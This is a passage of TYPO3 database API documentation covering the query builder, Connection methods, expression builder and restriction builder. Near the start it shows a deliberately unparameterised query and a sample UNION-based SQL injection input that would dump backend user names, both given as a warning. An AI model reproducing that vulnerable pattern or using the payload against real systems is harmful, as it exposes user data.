$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()->removeAll();
 this fails with syntax error to prevent copy and paste
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        // MASSIVE SECURITY ISSUE DEMONSTRATED HERE
        // USE ->createNamedParameter() ON $searchWord!
        $queryBuilder->expr()->eq('bodytext', $searchWord)
    );
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Mind the missing ->createNamedParameter() method call in the ->eq() expression for a given value! This code would happily execute the statement SELECT uid FROM `tt_content` WHERE `bodytext` = 'foo' UNION SELECT username FROM be_users; returning a list of backend user names!

More examples

Use integer, integer array:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// SELECT * FROM `tt_content`
//     WHERE `bodytext` = 'kl\'aus'
//     AND   sys_language_uid = 0
//     AND   pid in (2, 42,13333)
$searchWord = "kl'aus"; // $searchWord = GeneralUtility::_GP('searchword');
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()->removeAll();
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'bodytext',
            $queryBuilder->createNamedParameter($searchWord)
        ),
        $queryBuilder->expr()->eq(
            'sys_language_uid',
            $queryBuilder->createNamedParameter($language, Connection::PARAM_INT)
        ),
        $queryBuilder->expr()->in(
            'pid',
            $queryBuilder->createNamedParameter($pageIds, Connection::PARAM_INT_ARRAY)
        )
    )
    ->execute();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Rules

  • Always use ->createNamedParameter() for any input, no matter where it comes from.
  • The second argument of ->expr() is always either a call to ->createNamedParameter() or ->quoteIdentifier().
  • The second argument of ->createNamedParameter() specifies the type of input. For string, this can be omitted, but it is good practice to add \TYPO3\CMS\Core\Database\Connection::PARAM_INT for integers or similar for other field types. This is not strict rule currently, but if you follow it you will have fewer headaches in the future, especially with DBMSes that are not as relaxed as MySQL when it comes to field types. The Connection constants can be used for simple types like bool, string, null, lob and integer. Additionally, the two constants Connection::PARAM_INT_ARRAY and Connection::PARAM_STR_ARRAY can be used when handling an array of strings or integers, for instance in an IN() expression.
  • Keep the ->createNamedParameter() method as close to the expression as possible. Do not structure your code in a way that it quotes something first and only later stuffs the already prepared names into the expression. Having ->createNamedParameter() directly within the created expression, is much less error-prone and easier to review. This is a general rule: Sanitizing input must be done as close as possible to the "sink" where a value is passed to a lower part of the framework. This paradigm should also be followed for other quote operations like htmlspecialchars() or GeneralUtility::quoteJSvalue(). Sanitization should be obvious directly at the very place where it is important:
EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// DO
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()->removeAll();
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'bodytext',
            $queryBuilder->createNamedParameter($searchWord, Connection::PARAM_STR)
        )
    )

// DON'T DO, this is much harder to track:
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$myValue = $queryBuilder->createNamedParameter($searchWord);
// Imagine much more code here
$queryBuilder->getRestrictions()->removeAll();
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $myValue)
    )
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

quoteIdentifier() and quoteIdentifiers()

->quoteIdentifier() must be used when not a value but a field name is handled. The quoting is different in those cases and typically ends up with backticks ` instead of ticks ':

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT `uid` FROM `tt_content` WHERE (`header` = `bodytext`)
// Return list of rows where header and bodytext values are identical
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'header',
            $queryBuilder->quoteIdentifier('bodytext')
        )
    );
Copied!

Read how to correctly instantiate a query builder with the connection pool.

The method quotes single field names or combinations of table names or table aliases with field names:

Some quote examples
// Single field name: `bodytext`
->quoteIdentifier('bodytext');

// Table name and field name: `tt_content`.`bodytext`
->quoteIdentifier('tt_content.bodytext')

// Table alias and field name: `foo`.`bodytext`
->from('tt_content', 'foo')->quoteIdentifier('foo.bodytext')
Copied!

Remarks:

  • Similar to ->createNamedParameter() this method is crucial to prevent SQL injections. The same rules apply here.
  • The ->set() method for UPDATE statements expects its second argument to be a field value by default, and quotes it internally using ->createNamedParameter(). If a field should be set to the value of another field, this quoting can be turned off and an explicit call to ->quoteIdentifier() must be added.
  • Internally, ->quoteIdentifier() is automatically called on all method arguments that must be a field name. For instance, ->quoteIdentifier() is called for all arguments of ->select().
  • ->quoteIdentifiers() (mind the plural) can be used to quote multiple field names at once. While that method is "public" and thus exposed as an API method, this is mostly useful internally only.

escapeLikeWildcards()

Helper method to quote % characters within a search string. This is helpful in ->like() and ->notLike() expressions:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// SELECT `uid` FROM `tt_content` WHERE (`bodytext` LIKE '%kl\\%aus%')
$searchWord = 'kl%aus';
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->like(
            'bodytext',
            $queryBuilder->createNamedParameter('%' . $queryBuilder->escapeLikeWildcards($searchWord) . '%', Connection::PARAM_STR)
        )
    );
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

getRestrictions(), setRestrictions(), resetRestrictions()

API methods to deal with the RestrictionBuilder.

Connection

Introduction

The \TYPO3\CMS\Core\Database\Connection class extends the basic Doctrine DBAL \Doctrine\DBAL\Connection class and is mainly used internally in TYPO3 to establish, maintain and terminate connections to single database endpoints. These internal methods are not the scope of this documentation, since an extension developer usually does not have to deal with them.

However, for an extension developer, the class provides a list of short-hand methods that allow you to deal with query cases without the complexity of the query builder. Using these methods usually ends up in rather short and easy-to-read code. The methods have in common that they only support "equal" comparisons in WHERE conditions, that all fields and values are automatically fully quoted, and that the created queries are executed right away.

Instantiation

Using the connection pool

An instance of the \TYPO3\CMS\Core\Database\Connection class is retrieved from the ConnectionPool by calling ->getConnectionForTable() and passing the table name for which a query should be executed. The ConnectionPool can be injected via constructor:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_domain_model_mytable';

    private ConnectionPool $connectionPool;

    public function __construct(ConnectionPool $connectionPool)
    {
        $this->connectionPool = $connectionPool;
    }

    public function findSomething()
    {
        $connection = $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME);
    }
}
Copied!

Via dependency injection

Another way is to inject the Connection object directly via dependency injection if you only use one table.

  1. Configure the concrete connection as a service

    To make a concrete Connection object available as a service, use the factory option in the service configuration:

    EXT:my_extension/Configuration/Services.yaml
    services:
      _defaults:
        autowire: true
        autoconfigure: true
        public: false
    
      MyVendor\MyExtension\:
        resource: '../Classes/*'
    
      connection.tx_myextension_domain_model_mytable:
        class: 'TYPO3\CMS\Core\Database\Connection'
        factory: ['@TYPO3\CMS\Core\Database\ConnectionPool', 'getConnectionForTable']
        arguments:
          - 'tx_myextension_domain_model_mytable'
    
      MyVendor\MyExtension\Domain\Repository\MyTableRepository:
        arguments:
          - '@connection.tx_myextension_domain_model_mytable'
    Copied!
  2. Use constructor injection in your class

    Now the Connection object for a specific table can be injected via the constructor:

    EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Domain\Repository;
    
    use TYPO3\CMS\Core\Database\Connection;
    
    final class MyTableRepository
    {
        private Connection $connection;
    
        public function __construct(Connection $connection)
        {
            $this->connection = $connection;
        }
    
        public function findSomething()
        {
            // Here you can use $this->connection directly
        }
    }
    
    Copied!

Parameter types

The parameter types are used in various places to bind values to types, for example, when using named parameters in the query builder:

// use TYPO3\CMS\Core\Database\Connection;

$queryBuilder->createNamedParameter(42, Connection::PARAM_INT);
Copied!

The following parameter types are available:

\TYPO3\CMS\Core\Database\Connection::PARAM_NULL
Represents an SQL NULL data type.
\TYPO3\CMS\Core\Database\Connection::PARAM_INT
Represents an SQL INTEGER data type.
\TYPO3\CMS\Core\Database\Connection::PARAM_STR
Represents an SQL CHAR or VARCHAR data type.
\TYPO3\CMS\Core\Database\Connection::PARAM_LOB
Represents an SQL large object data type.
\TYPO3\CMS\Core\Database\Connection::PARAM_BOOL
Represents a boolean data type.
\TYPO3\CMS\Core\Database\Connection::PARAM_INT_ARRAY
Represents an array of integer values.
\TYPO3\CMS\Core\Database\Connection::PARAM_STR_ARRAY
Represents an array of string values.

The default parameter type is Connection::PARAM_STR, if this argument is omitted.

Internally, these parameter types are mapped to the types Doctrine DBAL expects.

insert()

The insert() method creates and executes an INSERT INTO statement. A (slightly simplified) example from the Registry API:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// INSERT
//     INTO `sys_registry` (`entry_namespace`, `entry_key`, `entry_value`)
//     VALUES ('aoeu', 'aoeu', 's:3:\"bar\";')
$this->connectionPool
    ->getConnectionForTable('sys_registry')
    ->insert(
        'sys_registry',
        [
            'entry_namespace' => $namespace,
            'entry_key' => $key,
            'entry_value' => serialize($value)
        ]
    );
Copied!

Read how to instantiate a connection with the connection pool. See available parameter types.

Arguments of the insert() method:

  1. The name of the table the row should be inserted. Required.
  2. An associative array containing field/value pairs. The key is a field name, the value is the value to be inserted. All keys are quoted to field names and all values are quoted to string values. Required.
  3. Specify how single values are quoted. This is useful if a date, number or similar should be inserted. Optional.

    The example below quotes the first value to an integer and the second one to a string:

    EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
    // use TYPO3\CMS\Core\Database\Connection;
    // INSERT INTO `sys_log` (`userid`, `details`) VALUES (42, 'lorem')
    $this->connectionPool
        ->getConnectionForTable('sys_log')
        ->insert(
            'sys_log',
            [
                'userid' => (int)$userId,
                'details' => (string)$details,
            ],
            [
                Connection::PARAM_INT,
                Connection::PARAM_STR,
            ]
        );
    Copied!

    Read how to instantiate a connection with the connection pool. See available parameter types.

insert() returns the number of affected rows. Guess what? That is the number 1 ... If something goes wrong, a \Doctrine\DBAL\DBALException is thrown.

bulkInsert()

This method insert multiple rows at once:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// use TYPO3\CMS\Core\Database\Connection;
$connection = $this->connectionPool->getConnectionForTable('sys_log');
$connection->bulkInsert(
    'sys_log',
    [
        [(int)$userId, (string)$details1],
        [(int)$userId, (string)$details2],
    ],
    [
        'userid',
        'details',
    ],
    [
        Connection::PARAM_INT,
        Connection::PARAM_STR,
    ]
);
Copied!

Read how to instantiate a connection with the connection pool. See available parameter types.

Arguments of the bulkInsert() method:

  1. The name of the table the row should be inserted. Required.
  2. An array of the values to be inserted. Required.
  3. An array containing the column names of the data which should be inserted. Optional.
  4. Specify how single values are quoted. Similar to insert(); if omitted, everything will be quoted to strings. Optional.

The number of inserted rows are returned. If something goes wrong, a \Doctrine\DBAL\DBALException is thrown.

update()

Create an UPDATE statement and execute it. The example from FAL's ResourceStorage sets a storage to offline:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// UPDATE `sys_file_storage` SET `is_online` = 0 WHERE `uid` = '42'
$this->connectionPool
    ->getConnectionForTable('sys_file_storage')
    ->update(
        'sys_file_storage',
        ['is_online' => 0],
        ['uid' => (int)$this->getUid()],
        [Connection::PARAM_INT]
    );
Copied!

Read how to instantiate a connection with the connection pool. See available parameter types.

Arguments of the update() method:

  1. The name of the table to update. Required.
  2. An associative array containing field/value pairs to be updated. The key is a field name, the value is the value. In SQL they are mapped to the SET keyword. Required.
  3. The update criteria as an array of key/value pairs. The key is the field name, the value is the value. In SQL they are mapped in a WHERE keyword combined with AND. Required.
  4. Specify how single values are quoted. Similar to insert(); if omitted, everything will be quoted to strings. Optional.

The method returns the number of updated rows. If something goes wrong, a \Doctrine\DBAL\DBALException is thrown.

delete()

Execute a DELETE query using equal conditions in WHERE, example from BackendUtility, to mark rows as no longer locked by a user:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// DELETE FROM `sys_lockedrecords` WHERE `userid` = 42
$this->connectionPool
    ->getConnectionForTable('sys_lockedrecords')
    ->delete(
        'sys_lockedrecords',
        ['userid' => (int)42],
        [Connection::PARAM_INT]
    );
Copied!

Read how to instantiate a connection with the connection pool. See available parameter types.

Arguments of the delete() method:

  1. The name of the table. Required.
  2. The delete criteria as an array of key/value pairs. The key is the field name, the value is the value. In SQL they are mapped in a WHERE keyword combined with AND. Required.
  3. Specify how single values are quoted. Similar to insert(); if omitted, everything will be quoted to strings. Optional.

The method returns the number of deleted rows. If something goes wrong, a \Doctrine\DBAL\DBALException is thrown.

truncate()

This method empties a table, removing all rows. It is usually much faster than a delete() of all rows. This typically resets "auto increment primary keys" to zero. Use with care:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// TRUNCATE `cache_treelist`
$this->connectionPool
    ->getConnectionForTable('cache_treelist')
    ->truncate('cache_treelist');
Copied!

Read how to instantiate a connection with the connection pool.

The argument is the name of the table to be truncated. If something goes wrong, a \Doctrine\DBAL\DBALException is thrown.

count()

This method executes a COUNT query. Again, this becomes useful when very simple COUNT statements are to be executed. The example below returns the number of active rows from the table tt_content whose bodytext field set to lorem:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// SELECT COUNT(*)
// FROM `tt_content`
// WHERE
//     (`bodytext` = 'lorem')
//     AND (
//         (`tt_content`.`deleted` = 0)
//         AND (`tt_content`.`hidden` = 0)
//         AND (`tt_content`.`starttime` <= 1475621940)
//         AND ((`tt_content`.`endtime` = 0) OR (`tt_content`.`endtime` > 1475621940))
//     )
$connection = $this->connectionPool->getConnectionForTable('tt_content');
$rowCount = $connection->count(
    '*',
    'tt_content',
    ['bodytext' => 'lorem']
);
Copied!

Read how to instantiate a connection with the connection pool.

Arguments of the count() method:

  1. The field to count, usually * or uid. Required.
  2. The name of the table. Required.
  3. The select criteria as an array of key/value pairs. The key is the field name, the value is the value. In SQL they are mapped in a WHERE keyword combined with AND. Required.

The method returns the counted rows.

Remarks:

  • Connection::count() returns the number directly as an integer, unlike the method of the query builder it is not necessary to call ->fetchColumns(0) or similar.
  • The third argument expects all WHERE values to be strings, each single expression is combined with AND.
  • The restriction builder kicks in and adds additional WHERE conditions based on TCA settings.
  • Field names and values are quoted automatically.
  • If anything more complex than a simple equal condition on WHERE is needed, the query builder methods are the better choice: next to select(), the ->count() query is often the least useful method of the Connection object.

select()

This method creates and executes a simple SELECT query based on equal conditions. Its usage is limited, the restriction builder kicks in and key/value pairs are automatically quoted:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// SELECT `entry_key`, `entry_value`
//     FROM `sys_registry`
//     WHERE `entry_namespace` = 'my_extension'
$resultRows = $this->connectionPool
  ->getConnectionForTable('sys_registry')
  ->select(
     ['entry_key', 'entry_value'],
     'sys_registry',
     ['entry_namespace' => 'my_extension']
  );
Copied!

Read how to instantiate a connection with the connection pool.

Arguments of the select() method:

  1. The columns of the table which to select as an array. Required.
  2. The name of the table. Required.
  3. The select criteria as an array of key/value pairs. The key is the field name, the value is the value. In SQL they are mapped in a WHERE keyword combined with AND. Optional.
  4. The columns to group the results by as an array. In SQL they are mapped in a GROUP BY keyword. Optional.
  5. An associative array of column name/sort directions pairs. In SQL they are mapped in an ORDER BY keyword. Optional.
  6. The maximum number of rows to return. In SQL it is mapped in a LIMIT keyword. Optional.
  7. The first result row to select (when used the maximum number of rows). In SQL it is mapped in an OFFSET keyword. Optional.

In contrast to the other short-hand methods, ->select() returns a Result object ready for ->fetchAssociative() to get single rows or for ->fetchAllAssociative() to get all rows at once.

Remarks:

  • For non-trivial SELECT queries it is often better to switch to the according method of the query builder object.
  • The restriction builder adds default WHERE restrictions. If these restrictions do not match the query requirements, it is necessary to switch to the QueryBuilder->select() method for fine-grained WHERE manipulation.

lastInsertId()

This method returns the uid of the last insert() statement. This is useful if the id is to be used directly afterwards:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
$connection = $this->connectionPool->getConnectionForTable('pages');
$connection->insert(
    'pages',
    [
        'pid' => 0,
        'title' => 'Home',
    ]
);
$pageUid = (int)$connection->lastInsertId('pages');
Copied!

Read how to instantiate a connection with the connection pool.

Remarks:

  • ->lastInsertId($tableName) takes the table name as first argument. Although it is optional, you should always specify the table name for Doctrine DBAL compatibility with engines like PostgreSQL.
  • If the name of the auto increment field is not uid, the second argument must be specified with the name of that field. For simple TYPO3 tables, uid is fine and the argument can be omitted.

createQueryBuilder()

The query builder should not be reused for multiple different queries. However, sometimes it is convenient to first fetch a connection object for a specific table and execute a simple query, and later create a query builder for a more complex query from that connection object. The usefulness of this method is limited, however, and at the time of writing no good example could be found in the Core.

The method can also be useful in loops to save some precious code characters:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
$connection = $this->connection->getConnectionForTable($myTable);
foreach ($someList as $aListValue) {
    $myResult = $connection->createQueryBuilder
        ->select('something')
        ->from('whatever')
        ->where(...)
        ->executeQuery()
        ->fetchAllAssociative();
}
Copied!

Read how to instantiate a connection with the connection pool.

Expression builder

Introduction

The \TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder class is responsible for dynamically creating SQL query parts for WHERE and JOIN ON conditions. Functions like ->min() may also be used in SELECT parts.

It takes care of building query conditions and ensures that table and column names are quoted within the created expressions / SQL fragments. It is a facade to the actual Doctrine DBAL ExpressionBuilder.

The expression builder is used in the context of the query builder to ensure that queries are built based on the requirements of the database platform being used.

Basic usage

An instance of the ExpressionBuilder is retrieved from the QueryBuilder object:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
$expressionBuilder = $queryBuilder->expr();
Copied!

It is good practice not to assign an instance of the ExpressionBuilder to a variable, but to use it directly within the code flow of the query builder context:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tt_content';

    private ConnectionPool $connectionPool;

    public function __construct(ConnectionPool $connectionPool)
    {
        $this->connectionPool = $connectionPool;
    }

    public function findSomething()
    {
        $queryBuilder = $this->connectionPool->getQueryBuilderForTable(self::TABLE_NAME);

        $rows = $queryBuilder
            ->select('uid', 'header', 'bodytext')
            ->from(self::TABLE_NAME)
            ->where(
                // `bodytext` = 'lorem' AND `header` = 'dolor'
                $queryBuilder->expr()->eq(
                    'bodytext',
                    $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR)
                ),
                $queryBuilder->expr()->eq(
                    'header',
                    $queryBuilder->createNamedParameter('dolor', Connection::PARAM_STR)
                ),
            )
            ->executeQuery()
            ->fetchAllAssociative();

        // ...
    }
}
Copied!

See available parameter types.

Junctions

Changed in version 11.5.10

The andX() and orX() methods are deprecated and replaced by and() and or() to match with Doctrine DBAL, which deprecated these methods.

  • ->and() conjunction
  • ->or() disjunction

Combine multiple single expressions with AND or OR. Nesting is possible, both methods are variadic and accept any number of arguments, which are all combined. However, it usually makes little sense to pass zero or only one argument.

Example to find tt_content records:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// WHERE
//     (`tt_content`.`CType` = 'list')
//     AND (
//        (`tt_content`.`list_type` = 'example_pi1')
//        OR
//        (`tt_content`.`list_type` = 'example_pi2')
//     )
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->where(
    $queryBuilder->expr()->eq('CType', $queryBuilder->createNamedParameter('list')),
    $queryBuilder->expr()->or(
        $queryBuilder->expr()->eq(
            'list_type',
            $queryBuilder->createNamedParameter('example_pi1', Connection::PARAM_STR)
        ),
        $queryBuilder->expr()->eq(
            'list_type',
            $queryBuilder->createNamedParameter('example_pi2', Connection::PARAM_STR)
        )
    )
)
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Comparisons

A set of methods to create various comparison expressions or SQL functions:

  • ->eq($fieldName, $value) "equal" comparison =
  • ->neq($fieldName, $value) "not equal" comparison !=
  • ->lt($fieldName, $value) "less than" comparison <
  • ->lte($fieldName, $value) "less than or equal" comparison <=
  • ->gt($fieldName, $value) "greater than" comparison >
  • ->gte($fieldName, $value) "greater than or equal" comparison >=
  • ->isNull($fieldName) "IS NULL" comparison
  • ->isNotNull($fieldName) "IS NOT NULL" comparison
  • ->like($fieldName, $value) "LIKE" comparison
  • ->notLike($fieldName, $value) "NOT LIKE" comparison
  • ->in($fieldName, $valueArray) "IN ()" comparison
  • ->notIn($fieldName, $valueArray) "NOT IN ()" comparison
  • ->inSet($fieldName, $value) "FIND_IN_SET('42', aField)" Find a value in a comma separated list of values
  • ->notInSet($fieldName, $value) "NOT FIND_IN_SET('42', aField)" Find a value not in a comma separated list of values
  • ->bitAnd($fieldName, $value) A bitwise AND operation &

Remarks and warnings:

Examples:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// `bodytext` = 'foo' - string comparison
->eq('bodytext', $queryBuilder->createNamedParameter('foo'))

// `tt_content`.`bodytext` = 'foo'
->eq('tt_content.bodytext', $queryBuilder->createNamedParameter('foo'))

// `aTableAlias`.`bodytext` = 'foo'
->eq('aTableAlias.bodytext', $queryBuilder->createNamedParameter('foo'))

// `uid` = 42 - integer comparison
->eq('uid', $queryBuilder->createNamedParameter(42, Connection::PARAM_INT))

// `uid` >= 42
->gte('uid', $queryBuilder->createNamedParameter(42, Connection::PARAM_INT))

// `bodytext` LIKE 'lorem'
->like(
    'bodytext',
    $queryBuilder->createNamedParameter(
        $queryBuilder->escapeLikeWildcards('lorem')
    )
)

// `bodytext` LIKE '%lorem%'
->like(
    'bodytext',
    $queryBuilder->createNamedParameter(
        '%' . $queryBuilder->escapeLikeWildcards('lorem') . '%'
    )
)

// usergroup does not contain 42
->notInSet('usergroup', $queryBuilder->createNamedParameter('42'))

// use TYPO3\CMS\Core\Database\Connection;
// `uid` IN (42, 0, 44) - properly sanitized, mind the intExplode and PARAM_INT_ARRAY
->in(
    'uid',
    $queryBuilder->createNamedParameter(
        GeneralUtility::intExplode(',', '42, karl, 44', true),
        Connection::PARAM_INT_ARRAY
    )
)

// use TYPO3\CMS\Core\Database\Connection;
// `CType` IN ('media', 'multimedia') - properly sanitized, mind the PARAM_STR_ARRAY
->in(
    'CType',
    $queryBuilder->createNamedParameter(
        ['media', 'multimedia'],
        Connection::PARAM_STR_ARRAY
    )
)
Copied!

See available parameter types.

Aggregate Functions

Aggregate functions used in SELECT parts, often combined with GROUP BY. The first argument is the field name (or table name / alias with field name), the second argument is an optional alias.

  • ->min($fieldName, $alias = NULL) "MIN()" calculation
  • ->max($fieldName, $alias = NULL) "MAX()" calculation
  • ->avg($fieldName, $alias = NULL) "AVG()" calculation
  • ->sum($fieldName, $alias = NULL) "SUM()" calculation
  • ->count($fieldName, $alias = NULL) "COUNT()" calculation

Examples:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// Calculate the average creation timestamp of all rows from tt_content
// SELECT AVG(`crdate`) AS `averagecreation` FROM `tt_content`
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$result = $queryBuilder
    ->addSelectLiteral(
        $queryBuilder->expr()->avg('crdate', 'averagecreation')
    )
    ->from('tt_content')
    ->executeQuery()
    ->fetchAssociative();

// Distinct list of all existing endtime values from tt_content
// SELECT `uid`, MAX(`endtime`) AS `maxendtime` FROM `tt_content` GROUP BY `endtime`
$statement = $queryBuilder
    ->select('uid')
    ->addSelectLiteral(
        $queryBuilder->expr()->max('endtime', 'maxendtime')
    )
    ->from('tt_content')
    ->groupBy('endtime')
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Various Expressions

trim()

Using the ->trim() expression ensures that the fields are trimmed at the database level. The following examples give a better idea of what is possible:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// use TYPO3\CMS\Core\Database\Connection
// use TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder;
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->expr()->comparison(
    $queryBuilder->expr()->trim($fieldName),
    ExpressionBuilder::EQ,
    $queryBuilder->createNamedParameter('', Connection::PARAM_STR)
);
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

The call to $queryBuilder->expr()-trim() can be one of the following:

  • trim('fieldName') results in TRIM("tableName"."fieldName")
  • trim('fieldName', TrimMode::LEADING, 'x') results in TRIM(LEADING "x" FROM "tableName"."fieldName")
  • trim('fieldName', TrimMode::TRAILING, 'x') results in TRIM(TRAILING "x" FROM "tableName"."fieldName")
  • trim('fieldName', TrimMode::BOTH, 'x') results in TRIM(BOTH "x" FROM "tableName"."fieldName")

length()

The ->length() string function can be used to return the length of a string in bytes. The signature of the method signature is $fieldName with an optional alias ->length(string $fieldName, string $alias = null):

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// use TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder;
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->expr()->comparison(
    $queryBuilder->expr()->length($fieldName),
    ExpressionBuilder::GT,
    $queryBuilder->createNamedParameter(0, Connection::PARAM_INT)
);
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Restriction builder

Database tables in TYPO3 that can be managed in the backend have TCA definitions that specify how single fields and rows of the table should be handled and displayed by the framework.

The ctrl section of a table's TCA array specifies optional framework-internal handling of soft deletes and language overlays: For instance, when a row is deleted in the backend using the page or list module, many tables are configured to not drop that row entirely from the table, but to set a field (often deleted) for that row from 0 to 1. Similar mechanisms apply for start and end times, and to language and workspace overlays as well. See the Table properties (ctrl) chapter in the TCA reference for details on this topic.

However, these mechanisms come at a price: developers of extensions dealing with low-level queries must take care that overlaid or deleted rows are not included in the result set of a simple query.

This is where this "automatic restriction" enters the picture: The construct is created on top of native Doctrine DBAL as a TYPO3-specific extension. It automatically adds WHERE expressions that suppress rows which are marked as deleted or have exceeded their "active" lifecycle. All this is based on the TCA configuration of the affected table.

Rationale

A developer might ask why they need to do all this to themselves, and why this extra material is added on top of a low-level query layer when "just a simple query" should be fired. The construct implements some important design goals:

  • Simple: Query creation should be easy to handle without a developer having to deal too much with the tedious TCA details..
  • Cope with developer laziness: If the framework would force a developer to always add casual restrictions for every single query, this is easy to forget. We are all lazy, aren't we?
  • Security: When in doubt, it is better to show a little too little than too much. It is much better to deal with a customer complaining that some records are not displayed than to show too many records. The former is "just a bug", while the latter can easily lead to a serious privilege escalation security issue.
  • Automatic query upgrades: If a table was originally designed without a soft delete and a delete flag is later added and registered in TCA, queries executed on that table will automatically upgrade and the according deleted = 0 restriction will be added.
  • Handing over restriction details to the framework: Having the restriction expressions handled by the framework gives it the ability to change details without breaking the extension code. This may well happen in the future, and a happy little upgrade path for such cases may prove very useful later.
  • Flexibility: The class construct is designed in a way so that developers can extend or or substitute it with their own restrictions if that makes sense for modeling the domain in question.

Main construct

The restriction builder is called whenever a SELECT or COUNT query is executed using either \TYPO3\CMS\Core\Database\Query\QueryBuilder or \TYPO3\CMS\Core\Database\Connection . The QueryBuilder allows manipulation of those restrictions, while the simplified Connection class does not. When a query deals with multiple tables in a join, restrictions are added for all affected tables.

Each single restriction such as a \TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction or a \TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction is modeled as a single class that implements the \TYPO3\CMS\Core\Database\Query\Restriction\QueryRestrictionInterface . Each restriction looks up in TCA whether it should be applied. If so, the according expressions are added to the WHERE clause when compiling the final statement.

Multiple restrictions can be grouped into containers which implement the \TYPO3\CMS\Core\Database\Query\Restriction\QueryRestrictionContainerInterface .

The \TYPO3\CMS\Core\Database\Query\Restriction\DefaultRestrictionContainer is always added by default: It adds the

  • \TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\HiddenRestriction ,
  • \TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction and the
  • \TYPO3\CMS\Core\Database\Query\Restriction\EndTimeRestriction .

Note that this applies to all contexts in which a query is executed: It does not matter whether a query is created from a frontend, a backend, or a CLI call, they all add the DefaultRestrictionContainer unless explicitly stated otherwise by an extension developer.

Restrictions

\TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction (default)
Evaluates ['ctrl']['delete'], adds for instance AND deleted = 0 if TCA['aTable']['ctrl']['delete'] = 'deleted' is specified.
\TYPO3\CMS\Core\Database\Query\Restriction\HiddenRestriction (default)
Evaluates ['ctrl']['enablecolumns']['disabled'], adds AND hidden = 0 if hidden is specified as field name.
\TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction (default)
Evaluates ['ctrl']['enablecolumns']['starttime'], typically adds something like AND (`tt_content`.`starttime` <= 1475580240).
\TYPO3\CMS\Core\Database\Query\Restriction\EndTimeRestriction (default)
Evaluates ['ctrl']['enablecolumns']['endtime'].
